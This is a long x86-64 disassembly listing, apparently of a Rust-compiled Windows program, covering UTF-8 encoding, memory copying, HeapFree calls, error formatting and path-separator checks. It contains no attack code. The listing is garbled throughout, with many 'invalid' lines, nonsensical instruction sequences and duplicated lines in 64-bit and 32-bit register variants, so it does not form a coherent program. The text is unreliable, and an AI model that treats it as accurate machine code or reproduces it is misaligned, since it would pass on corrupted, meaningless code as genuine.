jmp 0x14007cd90
mov rcx, rax
cmp r13d, 0x10000
jae 0x14007cf1c
shr rcx, 0x1c
or cl, 0xe0
mov byte [rbp + 0xfe0], cl
shr eax, 0x16
and al, 0x3f
or al, 0x80
mov byte [rbp + 0xfe1], al
sldt word [rax]
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0xfe2], r13b
mov r13d, 3
add eax, dword [rax]
add byte [rax], al
add byte [rcx - 0x43], al
add eax, dword [rax]
add byte [rax], al
mov rax, qword [rbp + 0x1008]
sub rax, rdi
cmp rax, r13
jb 0x14007cf6d
jmp 0x14007cf89
shr rcx, 0x22
or cl, 0xf0
invalid
mov byte [rbp + 0xfe0], cl
and al, byte [rax - 0x72770f37]
loopne 0x14007cf36
add byte [rax], al
mov rcx, rax
shr rcx, 0x1c
and cl, 0x3f
or cl, 0x80
mov byte [rbp + 0xfe1], cl
shr eax, 0x16
and al, 0x3f
or al, 0x80
mov byte [rbp + 0xfe2], al
and r13b, 0x3f
and ch, 0x3f
and ch, 0x3f
or r13b, 0x80
mov byte [rbp + 0xfe3], r13b
mov r13d, 4
mov rax, qword [rbp + 0x1008]
sub rax, rdi
cmp rax, r13
jae 0x14007cf89
mov rcx, r14
mov rdx, rdi
mov r8, r13
call fcn.1400a9bf0
add al, byte [rax]
add al, byte [rax]
mov r12, qword [rbp + 0x1000]
mov rdi, qword [rbp + 0x1010]
mov edi, dword [rbp + 0x1010]
mov edi, dword [rbp + 0x1010]
lea rcx, [r12 + rdi]
mov rdx, r15
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add byte [rcx + rax - 0x11], cl
add byte [rcx + rax - 0x11], cl
mov qword [rbp + 0x1010], rdi
adc byte [rax], dl
add byte [rax], al
cmp rbx, rsi
jne 0x14007cdb5
mov rbx, qword [rbp + 0x1000]
test rbx, rbx
mov rsi, qword [rbp + 0x1030]
je 0x14007d0ad
mov r14, qword [rbp + 0x1008]
test rdi, rdi
je 0x14007d26c
lea rdx, [rbx + rdi]
lea rcx, [0x1400eb37f]
jmp 0x14007d169
cmp qword [rbp + 0x1008], 0
je 0x14007d0a6
mov r8, qword [rbp + 0x1000]
mov rcx, qword [0x1400f91f8]
add byte [rax - 0x75], cl
or eax, 0x7c15a
invalid
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x1030]
lea rax, [rbp + 0x103c]
cmp al, 0x10
add byte [rax], al
mov qword [rbp + 0xfb8], rax
lea rax, [0x140049c10]
mov eax, 0x4800000f
lea eax, [0x140049c10]
mov qword [rbp + 0xfc0], rax
lea rax, str.OS_Error___FormatMessageW___returned_error
add eax, 0x6cf58
mov qword [rbp + 0x1000], rax
mov qword [rbp + 0x1008], 2
mov qword [rbp + 0x1020], 0
lea rax, [rbp + 0xfb8]
mov qword [rbp + 0x1010], rax
invalid
add byte [rax], al
add byte [rax - 0x73], cl
test dword [rax + 0x4800000f], edi
mov dword [rbp + 0x1010], eax
invalid
add byte [rax - 0x39], cl
test dword [rax], ebx
adc byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
invalid
invalid
mov qword [rbp + 0x1018], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rcx, [rbp + 0xfe0]
lea rdx, [rbp + 0x1000]
call fcn.1400407c0
mov rax, qword [rbp + 0xff0]
test eax, esi
sldt word [rax]
test eax, esi
sldt word [rax]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp + 0xfe0]
movups xmmword [rsi], xmm0
add rsp, 0x10c8
add esp, 0x10c8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movzx r8d, r8b
test byte [r8 + rcx], 1
or byte [rcx], al
add dword [rdi], ecx
test byte [rsi], cl
add dword [rax], eax
invalid
je 0x14007d25f
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp rdx, rbx
je 0x14007d26c
test byte [rbx], al
add dword [rax], eax
add byte [rax - 0x77], cl
mov rax, rdx
mov eax, edx
rol byte [rdi + rcx - 0x4a], 1
inc dword [rbp - 0x7c]
sar byte [rax + 0xa], 0x48
or cl, byte [rax - 0x73]
push rax
invalid
movzx r8d, byte [rdx - 1]
test r8b, r8b
js 0x14007d180
invalid
or cl, byte [rax - 0x73]
push rax
inc dword [rbp + 0xf]
mov dh, 0xc0
lea rdx, [rax - 1]
movzx r8d, r8b
jmp 0x14007d1e9
imul eax, dword [rdi + rcx - 0x4a], 0x8041fe48
stc
sar byte [rbp + 0x25], 0x44
movzx edx, byte [rax - 3]
movzx r9d, byte [rax - 2]
cmp r9b, 0xc0
jge case.0x140028086.1072
movzx r10d, byte [rax - 3]
cmp r10b, 0xc0
jge 0x14007d1ba
sar byte [rbp + 0x24], 0x48
and al, 0x48
lea rdx, [rax - 4]
lea edx, [rax - 4]
movzx r11d, byte [rax - 4]
and r11d, 7
shl r11d, 6
and r10d, 0x3f
invalid
or r10d, r11d
invalid
jmp 0x14007d1c2
lea rdx, [rax - 2]
and r9d, 0x1f
jmp 0x14007d1cd
lea rdx, [rax - 3]
and r10d, 0xf
shl r10d, 6
loop 0x14007d1cc
invalid
and r9d, 0x3f
loope 0x14007d209
or r9d, r10d
or ecx, edx
rol dword [rcx - 0x3f], 1
shl r9d, 6
loope 0x14007d1d7
and r8b, 0x3f
movzx r8d, r8b
mov dh, 0xc0
or r8d, r9d
cmp r8d, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
je 0x14007d26c
lea r9d, [r8 - 9]
lea ecx, [rax - 9]
cmp r9d, 5
jb 0x14007d160
invalid
inc dword [rcx - 0x7d]
clc
and byte [rdi], cl
invalid
test byte [rdi - 1], bl
invalid
invalid
cmp r8d, 0x20
je 0x14007d160
invalid
invalid
invalid
invalid
cmp r8d, 0x80
cmp eax, 0x80
jb 0x14007d25f
push rbp
mov r9d, r8d
shr r9d, 8
cmp r9d, 0x1f
jg 0x14007d235
invalid
invalid
test r9d, r9d
je 0x14007d142
and bh, bh
invalid
invalid
and bh, bh
invalid
cmp r9d, 0x16
jne 0x14007d25f
invalid
cmp dword [rcx - 0x7f], eax
clc
adc byte [rsi], 0
cmp r8d, 0x1680
je 0x14007d160
invalid
invalid
invalid
invalid
add byte [rdi], cl
test byte [0x12c07d233], ch
sub eax, 0xebffffff
sub eax, 0xebffffff
invalid
jmp 0x14007d25f
sub al, byte [rcx - 0x7d]
cmp r9d, 0x20
je 0x14007d250
stc
and byte [rbp + rdx + 0x41], dh
cmp ecx, 0x30
cmp r9d, 0x30
jne 0x14007d25f
invalid
cmp r8d, 0x3000
clc
add byte [rax], dh
add byte [rax], al
add byte [rdi], cl
test byte [rdx], dl
invalid
je 0x14007d160
adc bh, bh
invalid
invalid
jmp 0x14007d25f
movzx r8d, r8b
test byte [r8 + rcx], 2
add al, 8
add cl, byte [rdi]
test dword [rcx], eax
invalid
invalid
invalid
add al, 8
add cl, byte [rdi]
test dword [rcx], eax
add edi, edi
invalid
invalid
dec dword [rax + 0x29]
sub rax, rbx
sub eax, ebx
fmul dword [rax + 0x39]
invalid
cmp rdi, rax
jae 0x14007d27e
mov rax, rdi
mov eax, edi
jmp 0x14007d26e
xor eax, eax
mov qword [rsi], rbx
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rax
adc cl, r13b
mov al, 0xfe
invalid
invalid
invalid
adc cl, r13b
mov al, 0xfe
invalid
invalid
test rax, rax
je 0x14007d26e
invalid
jmp 0x14007d2cc
cmp rdi, rax
jbe 0x14007d26e
mov edi, 0x894ce07f
mov ch, 0x30
adc byte [rax], al
add byte [rax - 0x77], cl
invalid
popfq
ror byte [rdi], 1
mov dword [rbp + 0xfd0], ebx
add byte [rax], al
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len__rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_src_string.rs
lea r8, [0x1400e8648]
sahf
mov bl, 6
invalid
sahf
mov bl, 6
add byte [rdx + 0x30], bh
mov edx, 0x30
mov edx, 0x30
add byte [rax], al
add al, ch
add byte [rax], al
call fcn.1400a9e70
ud2
mov esp, 0xf0002cb
or edi, dword [rcx + 1]
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov rdx, rdi
call fcn.1400a9bd0
leave
add al, byte [rax]
leave
add al, byte [rax]
ud2
add eax, 0x6cd14
int 6
add byte [rdx + 0x800], bh
mov edx, 0x800
add byte [rax], al
mov rcx, rdi
call fcn.1400a9df0
ud2
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
in al, dx
cmp byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
invalid
in al, dx
cmp byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
cmp qword [rbp + 0x1008], 0
je 0x14007d31c
mov ebp, 0x1008
or byte [rax], dl
add byte [rax], al
add byte [rsi + rdx + 0x4c], dh
mov r8, qword [rbp + 0x1000]
mov eax, dword [rbp + 0x1000]
add byte [rax], dl
add byte [rax], al
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x7bee4
mov esi, 0xd2310007
add byte [rcx], dh
xor edx, edx
sar bh, cl
adc eax, 0x330ec
add eax, dword [rax]
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
add byte [rax + 0x38c48348], dl
nop
add rsp, 0x38
add esp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
nop
nop
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
mov ebp, 0x1030
xor byte [rax], dl
add byte [rax], al
add byte [rax], al
cmp qword [rbp + 0x1030], 0
xor byte [rax], dl
add byte [rax], al
add byte [rsi + rdx + 0x48], dh
je 0x14007d36c
invalid
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
wait
mov esi, 0xd2310007
xor edx, edx
mov r8, qword [rbp + 0xfd0]
sldt word [rax]
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
jmp rax
int3
or eax, 0x6dd36
mov r8, qword [rcx + rax*8]
lea rcx, [0x1400eb228]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
test byte [rdx + rax], dh
add byte [rax - 0x75], cl
jg 0x14007d447
lea r14, [rsp + 0x38]
lea r15, [0x1400e95d0]
cmp eax, 0x6c1bd
cmp eax, 0x6c1bd
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov rdx, rdi
mov r8, rbx
fsubr st(0)
movabs byte [0x38247c8348fffc5f], al
cmp dword [rsp + 0x38], 0
fsubr st(0)
movabs byte [0x38247c8348fffc5f], al
cmp dword [rsp + 0x38], 0
je 0x14007d65d
mov r12, qword [rsp + 0x40]
cmp dword [rsp + 0x38], 0
je 0x14007d65d
mov r12, qword [rsp + 0x40]
movzx ebp, byte [rsp + 0x48]
movzx r13d, byte [rsp + 0x49]
movzx r13d, byte [rsp + 0x49]
insb byte [rdi], dx
and al, 0x49
mov r8d, 3
mov rcx, rsi
mov rdx, r15
call fcn.140041e50
inc dword [rax + rax*8 + 0x210850f]
add byte [rax], al
inc dword [rax + rax*8 + 0x210850f]
add byte [rax], al
test bpl, 1
je 0x14007d677
add r12, r13
cmp rbx, r12
jrcxz 0x14007d483
invalid
adc al, 2
add byte [rax], al
add rdi, r12
sub rbx, r12
jne 0x14007d420
jmp 0x14007d677
add dword [rax], eax
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
je 0x14007d534
lea rax, [rdi + 8]
test byte [rsi + 0x34], 4
je 0x14007d534
lea rax, [rdi + 8]
test byte [rsi + 0x34], 4
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0xf4240
and al, 0x78
invalid
invalid
invalid
invalid
and al, 0x78
str word [rax - 0x77]
invalid
invalid
mov ah, 0x24
mov qword [rsp + 0x80], rsi
lea rax, [rsp + 0x30]
add byte [rax], 0
add byte [rax - 0x73], cl
and al, 0x30
jne 0x14007d55e
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x88], eax
lea rax, [0x140071dd0]
mov qword [rsp + 0x90], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
add byte [rcx - 1], cl
dec dword [rax - 0x77]
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x6f981
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x88]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x50], 1
push rax
add dword [rax], eax
add byte [rax], al
lea rdx, [0x1400e3190]
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0x38]
call fcn.140042180
mov rcx, qword [rsp + 0x70]
test al, al
jne 0x14007d616
jmp 0x14007d639
mov rdx, qword [rdi + 0x20]
mov r8, qword [rdi + 0x28]
mov rbx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rsi, qword [rax + 0x18]
mov rcx, rbx
call rsi
mov ecx, eax
mov al, 1
test cl, cl
je 0x14007d64e
jmp 0x14007d679
mov qword [rsp + 0xb8], rax
lea rax, [0x140071dd0]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 0
movabs rax, 0x400000020
mov qword [rsp + 0x60], rax
mov byte [rsp + 0x68], 3
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
nop
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x38
nop
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x38
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 1
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
lea rdx, [0x1400e3190]
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0x88]
call fcn.140042180
mov rcx, qword [rsp + 0x70]
test al, al
je 0x14007d639
test rcx, rcx
je 0x14007d639
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.size_limit_reached_fmt::Error__from__SizeLimitedFmtAdapter__was_discarded
mov r8d, 0x14
call qword [rax + 0x18]
test al, al
jne 0x14007d673
test al, al
jne 0x14007d673
test rcx, rcx
jne 0x14007d6a1
mov rdx, qword [rdi + 0x30]
mov r8, qword [rdi + 0x38]
mov rcx, rbx
call rsi
jmp 0x14007d679
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov rcx, rsi
call fcn.140041e50
test al, al
je 0x14007d677
mov al, 1
jmp 0x14007d679
xor eax, eax
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ror byte [rax - 0x77], 1
iretd
cmp dword [rdx], 0
mov rdx, qword [rdx + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x80]
je 0x14007d756
call fcn.14007df10
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x120], rax
and byte [rcx], al
add byte [rax], al
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x108], rax
mov r11, qword [rbp + 0x90]
mov ebx, dword [rbp + 0x90]
mov ebx, dword [rbp + 0x90]
movzx eax, byte [rbp + 0x98]
mov byte [rbp + 0x12f], al
invalid
add dword [rax], eax
invalid
test bl, bl
mov dh, 0x85
cwde
add byte [rax], al
add byte [rax + 0x12f85], cl
invalid
add dword [rax], eax
add byte [rbx + rbx*8 + 0x3d8850f], al
jne case.default.0x14007d843
invalid
jne case.default.0x14007d843
test eax, ebx
add eax, dword [rax]
add bl, ch
call fcn.1400433d0
jne case.0x140075b85.1310
cld
invalid
jmp 0x14007d79c
call fcn.1400433d0
jne case.0x140075b85.1310
cld
dec dword [rax - 0x7d]
mov ebp, 0x80
add byte [rax], 0
add byte [rax], al
mov eax, 9
cmp qword [rbp + 0x80], 0
add byte [rax], 0
add byte [rax], al
mov eax, 9
add byte [rax], al
add byte [rax + 0xf], cl
test dword [rax + 0x48000000], r10d
nop
add byte [rax], al
invalid
invalid
cmove rax, qword [rbp + 0x90]
mov qword [rbp + 0x108], rax
mov dword [rbp + 0x108], eax
nop
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rbp + 0x108], eax
lea rax, [0x1400e9411]
mov dword [rbp + 0x108], eax
lea rax, [0x1400e9411]
cmove rax, qword [rbp + 0x88]
mov qword [rbp + 0x120], rax
mov byte [rbp + 0x12f], 2
test bl, bl
jne case.default.0x14007d843
mov qword [rbp + 0xf0], rdi
cmp byte [rbp + 0x12f], 2
mov qword [rbp + 0x118], r11
add dword [rax], eax
add byte [rdi + rcx + 0x44], cl
popfq
or byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rdi + rcx + 0x44], cl
popfq
popfq
or byte [rcx], al
add byte [rax], al
mov rcx, qword [rbp + 0x120]
mov qword [rbp + 0x110], r11
mov rdx, r11
call fcn.14007e220
test r14, r14
sete cl
xor al, 1
or al, cl
mov rdi, qword [rbp + 0xf0]
mov r11, qword [rbp + 0x118]
jne case.default.0x14007d843
mov r15, qword [r14]
mov r12, qword [r14 + 0x10]
lea rcx, [rbp + 0x80]
mov rdx, qword [rbp + 0x120]
mov r8, qword [rbp + 0x110]
mov eax, dword [rbp + 0x110]
mov eax, dword [rbp + 0x110]
call fcn.14007e360
movzx esi, byte [rbp + 0x80]
mov rcx, qword [rbp + 0x90]
mov rax, qword [rbp + 0xa0]
movzx edx, sil
invalid
lea r8, [0x1400f0544]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, qword [rbp + 0x110]
mov r8, qword [rbp + 0x120]
jmp r9
invalid
loope 0x14007d88f
add rcx, 4
add ecx, 4
jmp 0x14007d880
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x14007d880
mov ecx, 6
add byte [rax], al
jmp 0x14007d880
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x14007d880
mov ecx, 2
add byte [rax], al
mov rdx, qword [rbp + 0x110]
sub rdx, rcx
jb 0x14007de56
add byte [rax + 3], cl
lea esp, [rax]
add dword [rax], eax
add byte [rcx - 0x77], cl
enter 0xffffffffffff8548, 0xffffffffffffffd2
test rdx, rdx
add rcx, qword [rbp + 0x120]
mov r8, rcx
test rdx, rdx
je 0x14007d8b3
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete r14b
or r14b, cl
jmp case.0x1400281ec.1276
xor r14d, r14d
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x6f], rax
movups xmm0, xmmword [rbp + 0x81]
movups xmm1, xmmword [rbp + 0x91]
movaps xmmword [rbp + 0x60], xmm1
movaps xmmword [rbp + 0x50], xmm0
push rax
lea rcx, [rbp + 0x80]
mov rdx, r15
mov r8, r12
call fcn.14007e360
movzx edx, byte [rbp + 0x80]
mov rcx, qword [rbp + 0x90]
mov rax, qword [rbp + 0xa0]
test dword [rax + 0x4c000000], esp
lea eax, [0x1400f0560]
test dword [rax + 0x4c000000], esp
lea eax, [0x1400f0560]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, r12
mov r8, r15
jmp r9
jmp rcx
jmp rcx
add rcx, 4
jmp case.0x14002f3a6.1027
invalid
xor al, 0x48
lea edx, [rax + 1]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp case.0x14002f3a6.1027
invalid
and byte [rcx + 6], bh
mov ecx, 6
jmp case.0x14002f3a6.1027
sbb dword [rax - 0x73], ecx
push rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
add rcx, 2
jmp case.0x14002f3a6.1027
mov ecx, 2
mov rdx, r12
add rcx, 2
add ecx, 2
jmp case.0x14002f3a6.1027
add al, byte [rax]
add byte [rax], al
mov rdx, r12
sub rdx, rcx
sub edx, ecx
jb 0x14007de6b
add byte [rcx + rax - 7], cl
add rcx, r15
mov r8, rcx
test rdx, rdx
je 0x14007d978
movzx eax, byte [r8]
mov dh, 0
cmp al, 0x2f
sete cl
xchg esp, eax
invalid
xchg esp, eax
sar dword [rsp + rbx*2], 0xf
cmp al, 0x5c
invalid
cmp al, 0x5c
sete al
xchg esp, eax
ror byte [rax], 0xc8
xchg esp, eax
ror byte [rax], 0xc8
jmp 0x14007d97a
xor eax, eax
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r12
movups xmm0, xmmword [rbp + 0x80]
add byte [rax], 0
add byte [rdi], cl
adc byte [rbp + 0x90], cl
invalid
nop
add byte [rax], al
invalid
add byte [rax], 0
add byte [rdi], cl
adc byte [rbp + 0x90], cl
invalid
nop
add byte [rax], al
invalid
nop
add byte [rax], al
add byte [rdi], cl
movups xmmword [rbp - 0x20], xmm0
adc dword [rbp - 0x20], eax
movups xmmword [rbp - 0x10], xmm1
mov rcx, qword [rbp + 0xa0]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
movabs al, byte [0x88004d8948000000]
or r12b, byte [r14 - 0x39]
or byte [r8], r8b
add byte [rdx], al
lea r12, [rbp + 0x21]
mov r15b, 2
mov bh, 2
xor edi, edi
invalid
invalid
lodsd eax, dword [rsi]
mov byte [rbp + 0xa], al
mov word [rbp + 8], 0x200
add byte [rdx], al
add byte [rdx], al
lea r12, [rbp + 0x21]
mov r15b, 2
mov bh, 2
mov bh, 2
xor edi, edi
lea r13, [rbp + 0x80]
add byte [rax], 0
add byte [rax - 0x75], cl
mov ebx, dword [rbp + 0x120]
add byte [rax], 0
add byte [rax - 0x75], cl
mov ebx, dword [rbp + 0x120]
mov ebx, dword [rbp + 0x120]
cmp sil, 6
je 0x14007d9f1
nop dword [rax]
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x6f]
outsd dx, dword [rsi]
mov qword [rbp + 0x9f], rax
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x90], xmm1
lea edx, [rax + 0xf000000]
sub dword [rbp + 0x80], eax
invalid
add byte [rax], 0
invalid
lea edx, [rax + 0xf000000]
sub dword [rbp + 0x80], eax
invalid
add byte [rax], 0
invalid
test dword [rax + 0x48000000], eax
mov dword [rbp + 0x10], ebx
invalid
mov qword [rbp + 0x10], rbx
adc byte [rax - 0x75], cl
test dword [rax], edx
add dword [rax], eax
mov rax, qword [rbp + 0x110]
mov qword [rbp + 0x18], rax
mov byte [rbp + 0x20], sil
invalid
add byte [rax - 0x77], cl
sbb byte [r8 - 0x78], r8b
jne 0x14007da24
and byte [rax - 0x75], cl
test dword [rdi + 0x49000000], ebx
add byte [rcx - 0x77], cl
and al, 0x1f
mov rax, qword [rbp + 0x9f]
mov qword [r12 + 0x1f], rax
lahf
add byte [rax], al
add byte [rcx - 0x77], cl
and al, 0x1f
movaps xmm0, xmmword [rbp + 0x80]
sub byte [rbp + 0x80], al
test dword [rax + 0xf000000], eax
movaps xmm1, xmmword [rbp + 0x90]
sub byte [rbp + 0x90], cl
add byte [rcx + 0xf], al
adc dword [rsp + 0x10], ecx
movups xmmword [r12 + 0x10], xmm1
movups xmmword [r12], xmm0
mov byte [rbp + 0x4a], r14b
mov byte [rbp + 0x48], dil
mov byte [rbp + 0x49], r15b
mov rcx, r13
lea rdx, [rbp + 0x10]
call fcn.14007e810
lea rcx, [rbp + 0xb8]
lea rdx, [rbp - 0x30]
call fcn.14007e810
movzx eax, byte [rbp + 0xb8]
cmp byte [rbp + 0x80], 0xa
je 0x14007dadf
cmp al, 0xa
je 0x14007dae3
mov rcx, r13
lea rdx, [rbp + 0xb8]
call fcn.14007ebe0
test al, al
je 0x14007db1e
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rbx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x18]
pop rbp
adc byte [rax - 0x75], cl
sbb byte [r8 - 0x77], r9b
test dword [rax], edx
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x75
and byte [rcx + 0xf], al
mov qword [rbp + 0x110], rax
movzx esi, byte [rbp + 0x20]
movups xmm0, xmmword [r12]
adc byte [rsp], al
adc byte [rsp], al
movups xmm1, xmmword [r12 + 0x10]
and al, 0x10
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x60], xmm1
sub dword [rbp + 0x60], ecx
mov rax, qword [r12 + 0x1f]
mov qword [rbp + 0x6f], rax
movzx edi, byte [rbp + 0x48]
movzx r15d, byte [rbp + 0x49]
jge case.0x14002f3a6.1042
jge case.0x14002f3a6.1042
movzx r14d, byte [rbp + 0x4a]
movzx r14d, byte [rbp + 0x4a]
movzx eax, byte [r12 + 0x2e]
mov dh, 0x44
and al, 0x2e
invalid
mov byte cs:[rbp + 0xfc], al
mov byte [rbp + 0xfc], al
mov eax, dword [r12 + 0x2a]
and al, 0x2a
mov dword [rbp + 0xf8], eax
cmp sil, 6
cmp dh, 6
cmp dh, 6
jne 0x14007d9d0
invalid
jmp 0x14007d9f1
cmp al, 0xa
jne 0x14007db1e
or dh, byte [rbp + 0x3b]
mov rax, qword [rbp + 0x6f]
mov qword [rbp - 0x41], rax
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp - 0x50], xmm1
invalid
invalid
mov al, 0xf
sub dword [rbp - 0x60], eax
invalid
movaps xmmword [rbp - 0x60], xmm0
mov eax, dword [rbp + 0xf8]
mov dword [rbp + 0x100], eax
test dword [rax], eax
add dword [rax], eax
invalid
clc
add byte [rax], al
add byte [rcx + 0x10085], cl
test dword [rax], eax
add dword [rax], eax
test dword [rax], eax
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x85
test esp, edi
movzx eax, byte [rbp + 0xfc]
mov byte [rbp + 0x104], al
test esp, edi
add byte [rax], al
add byte [rax + 0x10485], cl
add byte [rcx - 0x80], al
cmp r14b, 2
cmp r14b, 2
jne 0x14007dca3
mov rdi, qword [rbp + 0xf0]
mov r11, qword [rbp + 0x118]
add byte [rax], al
cmp byte [rbp + 0x12f], 2
cmove r11, qword [rbp + 0x108]
mov rax, qword [rbp + 0x120]
lea r13, [rax + r11]
mov rbx, qword [rdi + 0x20]
mov rsi, qword [rdi + 0x28]
mov esi, dword [rdi + 0x28]
xor ecx, ecx
lea r15, [0x1400e95d0]
mov r12b, 1
cmp rcx, r11
je 0x14007dde7
invalid
add byte [rax - 0x75], cl
test dword [rax], esp
add dword [rax], eax
add byte [rax - 0x73], cl
adc al, 8
mov rax, qword [rbp + 0x120]
lea rdx, [rax + rcx]
mov r14, rcx
mov r8, rdx
jmp 0x14007db9f
add r8, 2
cmp rax, r13
cmovne rax, r8
mov r10d, 2
nop word [rax + rax]
add r14, r10
mov r8, rax
invalid
ror byte [rcx + rdi - 0x18], 0xf
test byte [rbx + 2], cl
add al, byte [r8]
add al, byte [rax]
invalid
cmp rax, r13
je 0x14007ddea
add al, byte [r8]
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx - 0x73], cl
add dword [rbp + 0xf], eax
mov dh, 8
lea rax, [r8 + 1]
movzx r9d, byte [r8]
mov r10d, 1
test r9b, r9b
leave
jns 0x14007db90
fiadd word [rcx - 0x80]
stc
loopne 0x14007dc29
invalid
cmp r9b, 0xe0
jb 0x14007db76
invalid
mov esi, 0xedf98041
cmp r9b, 0xed
jne 0x14007dbea
cmp rax, r13
je 0x14007ddea
lea rax, [r8 + 2]
cmp rax, r13
je 0x14007ddea
cmp byte [r8 + 1], 0x9f
ja 0x14007dc24
rol byte [rbx], 0x41
mov edx, 3
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], cl
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], cl
jmp 0x14007db90
add r8, 2
cmp rax, r13
cmove r8, rax
xor eax, eax
cmp r8, r13
setne al
add rax, r8
add eax, eax
add eax, eax
mov r10d, 3
add byte [rax], al
cmp r9b, 0xf0
jb 0x14007db90
xor r8d, r8d
cmp rax, r13
call 0x1009ceb57
ror byte [rcx + rdi - 0x18], 0x41
setne al
call 0x1009ceb57
xchg ebp, eax
ror byte [rcx + rax - 0x40], 0x41
add rax, r8
mov r10d, 4
add rax, r8
rol byte [rcx - 0x46], 4
add byte [rax], al
add cl, ch
invalid
insb byte [rdi], dx
invalid
mov r10d, 4
add al, 0
add byte [rax], al
jmp 0x14007db90
dec dword [rbp - 0x77]
invalid
sub eax, ecx
jb 0x14007de94
